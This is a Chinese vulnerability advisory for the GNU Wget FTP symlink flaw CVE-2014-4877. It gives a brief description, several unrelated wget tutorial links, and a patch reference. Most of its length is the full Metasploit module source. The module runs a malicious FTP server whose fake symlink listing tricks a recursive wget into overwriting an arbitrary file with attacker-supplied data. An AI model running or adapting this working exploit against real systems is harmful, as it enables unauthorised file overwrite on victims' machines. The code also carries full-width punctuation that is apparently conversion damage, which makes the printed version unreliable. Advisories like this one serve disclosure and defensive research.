GNU Wget符号链接漏洞（CVE-2014-4877）

发布日期：2014-10-27
更新日期：2014-10-29受影响系统：
GNU wget
描述：
BUGTRAQ ID: 70751
CVE（CAN） ID: CVE-2014-4877 GNU Wget是一个免费的软件包，用于使用HTTP、HTTPS和FTP协议检索文件。GNU Wget在实现上存在符号链接漏洞，攻击者可利用此漏洞访问受限制目录以外的文件，获取敏感信息，执行其他攻击。Linux wget命令详解 http://www.linuxidc.com/Linux/2012-08/67837.htmLinux 下使用 wget/aria2 进行离线迅雷批量下载 http://www.linuxidc.com/Linux/2011-10/46052.htmLinux使用wget请求地址时报错 http://www.linuxidc.com/Linux/2011-07/39345.htmLinux下载命令wget使用详解 http://www.linuxidc.com/Linux/2011-01/30980.htmwget 使用大全 http://www.linuxidc.com/Linux/2008-09/15722.htmLinux 命令行下载工具 wget 的使用技巧 http://www.linuxidc.com/Linux/2007-10/8293.htm<*来源：vendor
*>测试方法：警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::FtpServer
include Msf::Auxiliary::Report def initialize
super（
"Name" => "GNU Wget FTP Symlink Arbitrary Filesystem Access",
"Description" => %q{
This module exploits a vulnerability in Wget when used in
recursive （-r） mode with a FTP server as a destination. A
symlink is used to allow arbitrary writes to the target"s
filesystem. To specify content for the file, use the
"file:/path" syntax for the TARGET_DATA option. Tested successfully with wget 1.14. Versions prior to 1.16
are presumed vulnerable.
},
"Author" => ["hdm"],
"License" => MSF_LICENSE,
"Actions" => [["Service"]],
"PassiveActions" => ["Service"],
"References" =>
[
[ "CVE", "2014-4877"],
[ "URL", "https://bugzilla.RedHat.com/show_bug.cgi？id=1139181" ],
[ "URL", "https://community.rapid7.com/community/metasploit/blog/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access" ]
],
"DefaultAction" => "Service",
"DisclosureDate" => "Oct 27 2014"
） register_options（
[
OptString.new（"TARGET_FILE", [ true, "The target file to overwrite", "/tmp/pwned" ]）,
OptString.new（"TARGET_DATA", [ true, "The data to write to the target file", "Hello from Metasploit" ]）,
OptPort.new（"SRVPORT", [ true, "The port for the malicious FTP server to listen on", 2121]）
], self.class） @fakedir = Rex::Text.rand_text_alphanumeric（rand（8）+8）
end def run
my_address = Rex::Socket.source_address
print_good（"Targets should run: $ wget -m ftp://#{my_address}:#{datastore["SRVPORT"]}/"）
exploit（）
end def on_client_command_user（c,arg）
@state[c][:user] = arg
c.put "331 User name okay, need password... "
end def on_client_command_pass（c,arg）
@state[c][:pass] = arg
c.put "230 Login OK "
@state[c][:auth] = true
print_status（"#{@state[c][:name]} Logged in with user "#{@state[c][:user]}" and password "#{@state[c][:user]}"..."）
end def on_client_command_retr（c,arg）
print_status（"#{@state[c][:name]} -> RETR #{arg}"） if not @state[c][:auth]
c.put "500 Access denied "
return
end unless arg.index（::File.basename（datastore["TARGET_FILE"]））
c.put "550 File does not exist "
return
end conn = establish_data_connection（c）
if not conn
c.put（"425 Can"t build data connection "）
return
end c.put（"150 Opening BINARY mode data connection for #{arg} "）
conn.put（datastore["TARGET_DATA"]）
c.put（"226 Transfer complete. "）
conn.close print_good（"#{@state[c][:name]} Hopefully wrote #{datastore["TARGET_DATA"].length} bytes to #{datastore["TARGET_FILE"]}"）
end def on_client_command_list（c,arg） print_status（"#{@state[c][:name]} -> LIST #{arg}"） if not @state[c][:auth]
c.put "500 Access denied "
return
end conn = establish_data_connection（c）
if not conn
c.put（"425 Can"t build data connection "）
return
end pwd = @state[c][:cwd]
buf = "" dstamp = Time.at（Time.now.to_i-（（3600*24*365）+（3600*24*（rand（365）+1））））.strftime（"%b %e %Y"）
unless pwd.index（@fakedir）
buf << "lrwxrwxrwx 1 root root 33 #{dstamp} #{@fakedir} -> #{::File.dirname（datastore["TARGET_FILE"]）} "
buf << "drwxrwxr-x 15 root root 4096 #{dstamp} #{@fakedir} "
else
buf << "-rwx------ 1 root root #{"%9d" % datastore["TARGET_DATA"].length} #{dstamp} #{::File.basename（datastore["TARGET_FILE"]）} "
end c.put（"150 Opening ASCII mode data connection for /bin/ls "）
conn.put（"total #{buf.length} " + buf）
c.put（"226 Transfer complete. "）
conn.close
end def on_client_command_size（c,arg） if not @state[c][:auth]
c.put "500 Access denied "
return
end c.put（"213 #{datastore["TARGET_DATA"].length} "）
end
def on_client_command_cwd（c,arg） print_status（"#{@state[c][:name]} -> CWD #{arg}"） if not @state[c][:auth]
c.put "500 Access denied "
return
end upath = "/"
npath = ::File.join（@state[c][:cwd], arg）
bpath = npath[upath.length, npath.length - upath.length] # Check for traversal above the root directory
if not （npath[0, upath.length] == upath or bpath == ""）
bpath = "/"
end bpath = "/" if bpath == ""
@state[c][:cwd] = bpath c.put "250 CWD command successful. "
end
end建议：
厂商补丁：GNU
---
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：http://git.savannah.gnu.org/cgit/wget.git/commit/？id=18b0979357ed7dc4e11d4f2b1d7e0f5932d82aa7